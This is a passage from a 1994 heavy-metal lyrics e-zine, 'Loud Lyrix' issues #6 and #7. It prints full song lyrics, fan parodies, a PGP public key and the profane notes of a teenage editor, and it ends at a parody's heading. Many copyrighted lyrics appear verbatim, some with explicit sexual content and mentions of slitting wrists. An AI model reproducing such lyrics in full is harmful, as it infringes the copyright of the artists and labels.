-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ K E E P T A L K I N G **************************
by P I N K F L O Y D
Album: "The Division Bell"
There's a silence surrounding me
I can't seem to think straight
I'll sit in the corner
No one can bother me
I think I should speak now
Why won't you talk to me
I can't seem to speak now
You never talk to me
My words won't come out right
What are you thinking
I feel like I'm drowning
What are you feeling
I'm feeling weak now
Why won't you talk to me
But I can't show my weakness
You never talk to me
I can sometimes wonder
What are you thinking
Where do we go from here
What are you feeling
It doesn't have to be like this
All we need to do is make sure that we keep talking
Why won't you talk to me
I feel like I'm drowning
You never talk to me
You know I can't breathe now
What are you thinking
We're going nowhere
What are you feeling
We're going nowhere
Why won't you talk to me
You never to talk to me
What are you thinking
Where do we go from here
It doesn't have to be like this
All we need to do is make sure we keep talking
***************************** T H E E N D *******************************
Typed by: alextoledano@delphi.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok, that's it... don't forget to let me know anything you know about the
concerts/tours I told you about... and also about Sepultura's
Refuse/Resist video.... Thanx dudes... see ya next week, and send me some
shit... l8r
Update: I just caught the new Anthrax video for "Hy Pro Glo"... fucking
amazing tune... their newest album truly rocks, John Bush is a genius (did
I ever mention I high-fived him at their concert at least 20 times!!),
anyways, tell me when the first time you Americans or whoever saw this
video, I wanna know how much earlier you guys get to see shit than us.
PS: Last week, I finally took the time to figure out PGP, the big
encryption program that everyone is talking about... well anyways, I made
a key for the 'zine, and here it is... so if you have to send me anything
confidentially for what ever reason, or if you are just some paranoid
lunatic, here it is....
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3
mQCNAi2ogB0AAAEEAKfD4wzRC4Eb5h0HLZSAmUoD8u4PpOjp3jqccUjZ9wqzcm12
qpS2DHgNV7qtjl/zqNiiw0r4Gow4WyKvE/pFoWQV5MMbcOOuQ3ydhAqooCQ8dfou
1dTauJ2dsB8/+LAfh/7dThq6oRJZwh3WIZqGCsv3YnolvspejCpFr4fSK9VpAAUR
tCNMb3VkIEx5cml4IDxseXJpeEB0ZXJyYW5ldC5jdHMuY29tPg==
=dq6R
-----END PGP PUBLIC KEY BLOCK-----
Have fun with it! Hehehehe!! Fuck the Clipper chip!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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__ _____ __ __ ____
/\ \ /\ __`\/\ \/\ \/\ _`\
\ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \
\ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \
\ \____/ \ \_____\ \_____\ \____/
\/___/ \/_____/\/_____/\/___/
__ __ ____ ______ __ __
/\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \
\ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/'
\ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > <
\ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\
\ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\
\/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/
Loud Lyrix, April 26, 1994, Issue # 6
Addresses
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
FTP: None
Gopher: None
Usenet: None
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #6, 4/26/94
-----------------------
Well everyone.... how's it hangin' ? This is been a pretty cool week for
me, I had like absolutely no HW at all, and that is always a relief!
Saturday I went to a wicked awesome party... what a bash, everyone was
hammered to hell, headbanging to whatever the hell was on the fucking
radio, I can't even remember if it was the New Kids or what! :-) ... too
bad it was an apartment, we got the neighbors mad, and one called the
cops, that's when we all shit our pants... and dumped all the drinks, (for
those who don't know, you awesome Editor here is a 17 year old 'banger),
but the cops never crashed the party, we just calmed down and the
neighbors were happy. Then a friend of mine totally ruined the fucking
party... he went mental destroying things, it took four of us to hold him
down... fucking asshole, I'm gonna give him his shots at school tomorrow,
(it's Sunday right now), anyways... he was so fucked, he friggin' smashed
his head through a window!! Lucky nothing happened to him... shit, what a
party.... it was so good 'til he flipped out and scared all the girls...
Anyways... I don't mean to bore you with my teenage tales... I just wanted
to write it down... anyways... thanks go out to a cyber pal of mine, Kain
<kain@io.org>, for sending in all the parodies that appear in this week's
Loud Lyrix...
We are STILL fucking looking for a LISTSERV!!! I guess it's useless to ask
you guys anymore... I'm just wasting space... anyways.. I'll get off my
lazy butt one day, and mass post to listserv owners and beg them for a
spot.
C'mon guyz! You can't tell me that none of you are on Usenet out there! So
where are all the newsgroups I asked you all to find for me... I need you
all to find some newsgroups for me to regularly post the 'zine to, make
sure that they won't be flaming me for posting it... choose related ones
pleez! ... c'mon, get cracking.
Well, you guys are pretty sad you know! I am getting absolutely NO readers
responses to any songs I post! You guys are frustrating me, so I said
"Fuck it!" I won't bug you no more about this shit, if you wanna send in
anything, just do it... I'll print it for sure...
I've also gotten requests from a couple of people to expand the mag a
little bit, with interviews, reviews, and concert dates and shit. So I was
thinking, COOL! I'd be willing to do it for you guys, but I can't do it by
myself at all... I could review some new albums, and SOME concerts, but I
ain't too good at writing reviews. However, I'll bet there are more than
one of you out there that CAN write this stuff.. so, if there is anything
you wanna see in the 'zine... any CONCERT DATES, INTERVIEWS OR REVIEWS,
just send 'em to me, and I'll print 'em up.... but remember, I can't do
this by myself, if you want it to happen, ya gotta help, or else I might
forget about this.
Ok dudes... have a good seven days... don't put your head through any
windows, hehehehe... have fun as always, and keep the songs coming!
CONTENTS
--------
Song 1: "Burn" by King Diamond
Song 2: "Cowboys From Hell" by Pantera
Song 3: "Critical Mass" by Nuclear Assault
Song 4: "Die Hard" by Venom
Song 5: "Possessed to Skate" by Suicidal Tendencies
Song 6: "Evil Has No Boundaries" by Slayer
Song 7: "Fear of the Dark" by Iron Maiden
Song 8: "Fade to Red" by The Dave Man
Song 9: "Escape" by Phillip Wang
Song 10: "I Have Seen The Future" by ktark@src4src.linet.org
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 3, "The Eye", by King Diamond
********************************** B U R N ********************************
The Inquisition will take her to the hill
Ready for the kill, giving GOD his will
Everybody's there, none of them will care
Not a single prayer
Burn in the night, You're the devil's child
Burn in the night, You're the devil's child
Looking at the sky, soon the girl will die
Nobody will cry, hear her screaming "why?!"
The priests are all in line, now they give the sign
Let the fire shine!
Burn in the night, You're the devil's child
Burn in the night, You're the devil's child
They say the devil is here tonight
Then let him play his violin so wild
Higher, burning higher, flames will soon devour
Higher, burning higher, the smell of skin turned sour
Higher, burning higher, her legs are scorched by fire
Ashes to ashes, I see a smile on their wicked faces
Burn in the night, You're the devil's child
Burn in the night, You're the devil's child
Lightning from the sky, magic's coming by
As her necklace flies right into her eye
The priests are all in line, now they give the sign
Let the fire die
Burned in the night, there are no remains
Burned in the night, just a magic chain
********************** T O B E C O N T I N U E D *********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************* C O W B O Y S F R O M H E L L *********************
by P A N T E R A
Album: "Cowboys from Hell"
Under the lights where we stand tall
Nobody touches us at all
Showdown, shootout, spread fear within, without
We're gonna take what's ours to have
Spread the word throughout the land
They say the bad guys wear black
We're tagged and can't turn back
You see us comin'
And you all together run for cover
We're takin over this town
Here we come reach for your gun
And you better listen my friend, you see
It's been slow down below,
Aimed at you we're the cowboys from hell
Deed is done again, we've won
Ain't talking no tall tales friend
'Cause high noon, your doom
Comin' for you we're the cowboys from hell
Pillage the village, trash the scene
But better not take it out on me
'Cause a ghost town is found
Where your city used to be
So out of the darkness and into the light
Sparks fly everywhere in sight
>From my double barrel, 12 gauge,
Can't lock me in your cage
You see us comin'
And you all together run for cover
We're takin over this town
Here we come reach for your gun
And you better listen my friend, you see
It's been slow down below,
Aimed at you we're the cowboys from hell
Deed is done again, we've won
Ain't talking no tall tales friend
'Cause high noon, your doom
Comin' for you we're the cowboys from hell
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** C R I T I C A L M A S S *************************
by N U C L E A R A S S A U L T
Album: "Handle With Care"
The bio-sphere, the place we live
It seems like we don't give a damn
Other species flushed down the tubes
We need another race to rape
The way we live, we will destroy
Every other living thing
Till none are left except our race
And then we will destroy ourselves
Another oil spill
Atomic waste displaced
Another forest dies
Bring on the acid rain
Slightly insane, the type of greed
That makes a world unfit for life
Toxic wastes destroy our seas
While poison gas pollutes the air
A waste of life, while no one cares
The earth becomes a giant tomb
Critical mass will be achieved
And ruins will be all that's left
Another oil spill
Atomic waste displaced
Another forest dies
*groovy solo*
A hell on earth, what we create
Dragging life to death with us
All living things destroyed or used
By shortsighted human beings
We do these things, let them be done
Apathy creates despair
The damage done will be too great
The world wounded beyond repair
Another oil spill
Atomic waste displaced
Another forest dies
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Hello! I thought that I could contribute with a lyric by Venom. As
everybody should know Venom were the true inventors of Black Metal, Thrash
Metal and Death Metal. Here's the song(!) "Die Hard" It's among my
favourite Venom songs. -- Hellcrusher]
**************************** D I E H A R D ******************************
by V E N O M
Album "{Unknown}"
Satan, Father
Help me from this grave
Demons, warriors
Ever be my slaves
I can't reason with men and mortal fools
They won't die hard, hear the Golden Rule
Die Hard - Legions iron and steel
Die Hard - Men of war revealed
Die Hard - Captors of the brave
Sinner, liar
Guard your Crown of Thorns
Priestess, Parson
Live your lives of scorn
I can raise the fires of Hell and blasphemy
We can grow strong, Satanic Royalty
Die Hard
Evil Angels
Vultures of the night
Ride the wings of Hades' death is on our side
Burn the furnace bright, we ain't getting tired.
Die Hard
***************************** T H E E N D *******************************
Typed by: Hellcrusher <bjarneh@elvebakken.vgs.no>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** P O S S E S S E D T O S K A T E ********************
by S U I C I D A L T E N D E N C I E S
Album: "Join the Army"
Let's skate!
Seemed like such an innocent toy
He was the All-American boy
Got a skate at eight years old
Now the story can be told
Beware he's Possessed to Skate!
Skating takes him up in height
He's a pilot on a modern flight
See him flying through the air
I he don't land then he don't care
Chorus:
Cause he rips-he rips
When he skates-he skates
Cause he never hesitates
He's a wizard on the wheels
Like a modern gladiator ain't got no fears
So skate
He shoots the pool like a launching pad
If it ain't insane than you can't get rad
Skating is all that's on his mind
He's skating radical all the time
Chorus
Beware he's Possessed to Skate!
Looks like a magic carpet ride
Six foot aerials inverts backside
Optical illusion it must be
He redefines insanity
Chorus
Doesn't understand why you'd wanna walk
Ain't got no time to sit and talk
Used to be just like you and me
Now he's an outcast of society
Beware he's Possessed to Skate!
And the skating's getting radical
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************** E V I L H A S N O B O U N D A R I E S ****************
by S L A Y E R
Album: "Show No Mercy"
Blasting our way through the boundaries of Hell
No one can stop us tonight
We take on the world with hatred inside
Mayhem the reason we fight
Surviving the slaughters and killing we've lost
Then we return from the dead
Attacking once more now with twice as much strength
We conquer then move on ahead
(Chorus:)
Evil
My words defy
Evil
Has no disguise
Evil
Will take your soul
Evil
My wrath unfolds
Satan our master in evil mayhem
Guides us with every first step
Our axes are growing with power and fury
Soon there'll be nothingness left
Midnight has come and the leathers strapped on
Evil is at our command
We clash with God's angel and conquer new souls
Consuming all that we can
(Chorus)
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** F E A R O F T H E D A R K **********************
by I R O N M A I D E N
Album: "Fear Of The Dark"
I am a man who walks alone
And when I'm walking a dark road
At night or strolling through the park
When the light begins to change
I sometimes feel a little strange
A little anxious when it's dark
Fear of the dark, fear of the dark
I have constant fear that something's
always near
Fear of the dark, fear of the dark
I have a phobia that someone's
always there
Have you run your fingers down
the wall
And have you felt your neck skin crawl
When you're searching for the light?
Sometimes when you're scared
to take a look
At the corner of the room
You've sensed that something's
watching you
Have you ever been alone at night
Thought you heard footsteps behind
And turned around and no one's there?
And as you quicken up your pace
You find it hard to look again
Because you're sure there's
someone there
Watching horror films the night before
Debating witches and folklores
The unknown troubles on your mind
Maybe your mind is playing tricks
You sense, and suddenly eyes fix
On dancing shadows from behind
Fear of the dark, fear of the dark
I have constant fear that something's
always near
Fear of the dark, fear of the dark
I have a phobia that someone's
always there
When I'm walking a dark road
I am a man who walks alone
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Just a little sympathetic diddy I came up with to show women, I understand
their strife. -- Author]
************************* F A D E T O R E D ***************************
by T H E D A V E M A N 2 0 9 4
Album: "{None}"
(sung to "Fade to Black")
Menstruation is a pain,
Chemical changes in your brain.
See the box of tampons,
And you know it's your last one.
Better grab the dishrag,
Before the blood drips down your leg.
It's already past your knee,
By your toes, under your feet.
Tampax is pettal soft,
Cardboard can rub you raw.
Refuse to use a pad,
Causes leaks and diaper rash.
Just stained my new panties,
Wash 'em in new Tide with bleach.
If that won't clean them by dawn,
To the trash, they'll be gone.
No one but me can pull the string 'tween my legs.
Push it up there, way deep inside.
These cramps, it seems, have no point for existance.
Take three Advil, and tell the pain goodbye.
goodbye.
***************************** T H E E N D *******************************
Typed by: The Daveman 2094 <daveman.bastich@ucs.usl.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[I'm not exactly sure who the author of this is, or who exactly typed it,
oh well, that's what you get when you find something on Usenet, if the
original author isn't Phillip Wang, then whoever you are, tell me, and
I'll put in a correction. -- Editor]
[It's pretty bad, but imagine what Hetfield would have written if he had
had a UNIX account? -- Author]
****************************** E S C A P E ********************************
by P H I L L I P W A N G
Album: "{None}"
Feel no pain, but my life ain't easy
I know I'm my best friend
No one cares that UNIX's so much stronger
I'll use it till the end
To escape from an endless loop
Hit control-c control-c
Can't get caught in the endless circle
Ring of infinity
Stop jobs on my own, hit control-Z
Account information? I just type "me"
"rn" to read things that they say
"e .profile" is e-mail my own way
Rape my files and destroy my data
Found my password didn't you?
I don't care now, sys-op's on my side
But I can't e-mail you
Feel my pain with disk quota standards
You know that that ain't right
Log out in my common fashion
I'll login again tonight
Stop jobs on my own, hit control-Z
Account information? I just type "me"
"rn" to read things that they say
"e .profile" is e-mail my own way
See them try to shut the mainframe down
No damn way a connection can't be found
Stop jobs on my own, hit control-Z
Stop jobs on my own, hit control-Z
***************************** T H E E N D *******************************
Typed by: {Name Unknown} <hoffmala@ucbeh.san.uc.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[This one ain't a parody of anything, but I still thought it was pretty
cool and funny, hope ya enjoy... thanks to CUD, that's where I got it
from. -- Editor]
************** I H A V E S E E N T H E F U T U R E ****************
Satire by ktark@src4src.linet.org
Album: "{None}"
I want to be a rebel
I want to fit in
in the new-tech revolution
in the new scheme of things
I will read Mondo-2000
and Wired magazines,
I will join a hacker group
and be into that scene
CHORUS:
I have seen the future
It is computers and french fries,
CD-ROMS, 3DO and cryptography
with a little mustard on the side
Crypto-hacker, Compu-rebel
Cyberpunk, yes, those are my names!
I am so bad..
I just can't believe myself
I am such a rebel
I write an electronic magazine..
I'll become so famous and quoted,
you're not gonna believe
CHORUS:
I have seen the future
It is computers and french fries,
Virtual Reality, 500 channels
with a little ketchup on the fly
I am so self assured,
well read and full of grace
that I have the need to wave
my degrees in your face!
I am such an anarchist
the government is after me..
for opposing Clipper
and drinking Chinese tea
CHORUS:
I have seen the future
It is Computers and french fries,
MUDS, Raves and Cyber-Sex
with a little KY-jelly on the side
A philantropist, a writer,
glorified and interviewed
worship me now, before
Uncle Sam gets you fooled
And when I retire
I'll start a consulting firm
In a month I'll make more bucks
than you'll ever earn!
CHORUS:
I have seen the future
It is Computers and french fries,
Interactive TV and desktop video
with a some mayo on the fly
***************************** T H E E N D *******************************
Typed by: CU-Digest
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok dudes.. that's it, hope you enjoyed the funny parodies we had, hope
you could figure out which song they are taken from!!
Don't forget to send in all submissions you want me to include in the
'zine... LISTSERV! LISTSERV! LISTSERV! LISTSERV! LISTSERV!!!!! I need one!!
Coming soon! A reader's poll!!! Watch out for it... results will be posted
three weeks after the poll is run, that's PLENTY of time for you dudes...
but what can I expect! From a bunch of bums like you! :-)
C-ya
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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Loud Lyrix, May 3, 1994, Issue # 7
Addresses (Send mail here for subscriptions)
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
Loud Lyrix is posted weekly to the following newsgroups:
alt.music
alt.music.alternative
alt.music.hardcore
alt.zines
rec.music.industrial
rec.music.misc
rec.music.reviews
(BTW. The Editor does not have Usenet access, so all mail from Usenet
people should be send to one of the above addresses or else I will not see
it. Thank You.)
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #7, 5/3/94
-----------------------
Whoa!! I am going absolutely INSANE people!! You have no idea how bogged
down I am with fucking HW, Projects, Essays, Labs, Projects, Essays.... did
I mention HW? Holy Shit... it's NEVER been this bad...
Anyways... sorry to rave like that... but I just threw together this issue
right now, from 4:30 to 6pm .... and I still have more skule shit to do!
But don't despair... hopefully my English teacher will figure out that I
have more than just her fucking class!!
Ok, that's it from me... no big long speech this week, some of you will
probably be glad for that... hehehee...
Enjoy people... BTW, All the songs expect for the last 3 are reader
contributions, good response people, check out the parodies... HAHA! L8r.
CONTENTS
--------
Song 1: "I Stand Alone" by Jackyl
Song 2: "Peace Sells, But Who's Buying?!" by Megadeth
Song 3: "Good Friends and a Bottle of Pills" by Pantera
Song 4: "Feeble Screams From Forests Unknown" by Burzum
Song 5: "As The Eternity Opens" by Immortal
Song 6: "Wonder Woman" by The Avatar
Song 7: "Flattery" by Jeroen Tiggelman
Song 8: "Through the Blender" by Philip Wang
Song 9: "Hell's Bells" by AC/DC
Song 10: "Deuce" by Kiss
Song 11: "Be Quick or Be Dead" by Iron Maiden
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ I S T A N D A L O N E **************************
by J A C K Y L
Album: "{Unknown}"
Well every time I move Every step I make
You know I just can't seem to take the right direction
I'm always wrong I'm never right
Right or wrong There always seems to be a correction
And I give everything I got
And they take Take Take Take Take everything I'm giving
My back is tired my legs both ache
In this life there is no cake This life I'm livin'
CHORUS:
I stand alone today WHY YOU FEEL Don't ask me why I feel
I just know I feel this way WHAT YOU SAY I stand alone today
I stand alone today WHY YOU FEEL Don't ask me why I feel
I just know I feel this way WHAT YOU SAY I stand alone today
Well you look at me Shake your head
Don't like my hair You're so misled I shit like you do
But the curse is more than on my head
Sometimes I think I'm better off dead It's worse than Voodoo
And I'm reaching out for help
But it's No No No No No until you give in
My back's still tired My legs both ache
In this life there is no cake This life I'm livin'
CHORUS:
Well they take They take everything I'm givin'
It's a rough life This life I'm livin'
Give me more Give me more I take more everyday
I'm gonna take it till they take Take Take Take
Take Take Take Take me away
SOLO
CHORUS:
I say I--I--I stand alone today I--I--I stand alone today
I say I--I--I stand alone today I--I--I stand alone today
I say I--I--------
***************************** T H E E N D *******************************
Typed by: Jacob L. Gregory <gregoryj@acad.mwsc.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***** P E A C E S E L L S , B U T W H O ' S B U Y I N G ? ! ******
by M E G A D E T H
Album: "Peace Sells, But Who's Buying"
SPOKEN:
What do you mean I don't believe in God? Talk to Him ev'ryday
What do you mean I don't support your system?
I go to court when I have to
What do you mean I can't get to work on time? Got nothin' better to do
What do you mean I don't pay my bills? What d'ya think I'm broke Huh?
If there's a way I'll be the first in line
But it better work this time
SPOKEN:
What d'ya mean I hurt your feelings? I didn't know you had any feelings
What d'ya mean I ain't kind? Uh Just not your kind
What d'ya mean I couldn't be the President of the United States of America?
Tell me somethin' It's still "We the People" Right?
CHORUS:
Peace Peace sells Peace Peace sells
Peace sells but who's buyin'? Peace sells but who's buyin'?
CHORUS:
CHORUS:
CHORUS:
***************************** T H E E N D *******************************
Typed by: Jacob L. Gregory <gregoryj@acad.mwsc.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*** G O O D F R I E N D S A N D A B O T T L E O F P I L L S ***
by P A N T E R A
Album: "Far Beyond Driven"
I fucked your girlfriend last night.
While you snored and drooled, I fucked your love.
She called me daddy, and I called her baby when I
smacked her ass. I called her sugar when I ate
her alive till daylight, and I slept with her all
over me, from forehead to ribcage I dripped her ass.
Sometimes I thought you might be spying, living out some
brash fantasy, but no. you were knocked out. But we were
all knocked out you know. In a way
I serve to many masters.
We didn't know you'd break the bottle that the magic
came in to use those jagged shards to slit our wrists
and neck, and you'd do it too, you're that kind of dude
But you wouldn't know what you were doing because
I didn't, your girlfriend could have been a burn
victim, an amputee, a dead body, but god damn I wanted to
fuck
I'm serving to many masters.
***************************** T H E E N D *******************************
Typed by: Sunshine <JRM2006@ritvax.isc.rit.edu>
and: The Pioneer <northrup@eden.rutgers.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*** F E E B L E S C R E A M S F R O M F O R E S T S U N K N O W N ***
by B U R Z U M
Album: "Burzum"
Drifting
In the Air
Above a Cold Lake
Is a Soul
>From an Early
Better Age
Gasping for
A Mystic Thought
In Vain... but Who's to Know
Further on Lies Eternal Search
For Theories to Lift the Gate
Only Locks Are Made Stronger
And More Keys Lost as Logic Fades
In the Pool of Dreams the Water Darkens
For the Soul That's Tired of Search
As Years Pass by
The Aura Drops
As Less and Less
Feelings Touch
Stupidity
Has Won too Much
The Hopeless Soul
Keeps Mating
***************************** T H E E N D *******************************
Typed by: Hellcrusher <bjarneh@elvebakken.vgs.no>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************** A S T H E E T E R N I T Y O P E N S *****************
by I M M O R T A L
Album: "Pure Holocaust"
In An Hour Of The Night I Hear The Summoning Voices
And Wake From My Funeral Sleep
In Time Before Light In Crypts Of Eternal Deeps
Dust From My Grave Blew Away With The Winds
On A Cryptic Journey Unto The Other Side
Beneath The Mountains And Passed Beyond The Gate Below
Floating Evil Reign With Fear In These Sarcastic Caves
Enlightened Into A Blacker Dark For There Are View In
Darkness
The Light Is Searching To Save The Soul Of Mine
It Is Blind And Cant See The Gate To Immortality
Harnessbells Hail My Soul The Gate Is All I Know
See The Eternity Open
The Light Will Disappear It Was Never Here
***************************** T H E E N D *******************************
Typed by: Hellcrusher <bjarneh@elvebakken.vgs.no>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ W O N D E R W O M A N **************************
by T H E A V A T A R
Parody of "Unforgiven" by Metallica
She runs around in shorts,
And skimpy halter tops,
She's always fighting crime,
Her work it never stops.
Throughout her life the same,
She puts bad guys to shame,
The fight they cannot win,
A pretty dame they see will make them pay,
For their sleazy scuzzy ways,
This woman of such fame,
Of course she has a name......
Long black hair, gold head band,
She an justice, hand in hand,
Fighting crime -- all the time,
To this she'll put an end!
Long black hair, gold head band,
She and justice, hand in hand,
There's some hope -- she's got a rope!
So we dubbed her Wonder Woman....
***************************** T H E E N D ******************************
Sent In by: Kain <kain@io.org>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************************** F L A T T E R Y ******************************
by J E R O E N T I G G E L M A N
Parody of "Battery" by Metallica
Articulate retention attenuating tension
Weaknesses are tucked away
Mesmerizing fiction, cover-up addiction
Flattery is here to stay
Benevolence astounding
Sunshine smiles abounding
Cannot stop this flattery
Evasiveness ungrounded
With tolerance confounded
Cannot stand this flattery
Cannot stand this easy
Flattering society
Flattery
Rushing to attention, forestall-your-wish intention
Ever-pending sympathy
Never contradiction, conformity affliction
Bordering on insanity
Benevolence astounding
Sunshine smiles abounding
Cannot stop this flattery
Evasiveness ungrounded
With tolerance confounded
Cannot stand this flattery
Cannot stand this weakly
Cowering society
Flattery
Reconciling antics, words without semantics
Circle of stupidity
I write these poison pieces, they will when they read this
Smile benignly, flatter me
With euphemisms lightening
Wrongs they should be fighting
Mean superficiality
Still these things amaze me
Think I'm going crazy
Had to write this parody
Cannot stand this easy
Parody of equality
Called PC
***************************** T H E E N D *******************************
Sent In by: Kain <kain@io.org>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***************** T H R O U G H T H E B L E N D E R *******************
by P H I L I P W A N G
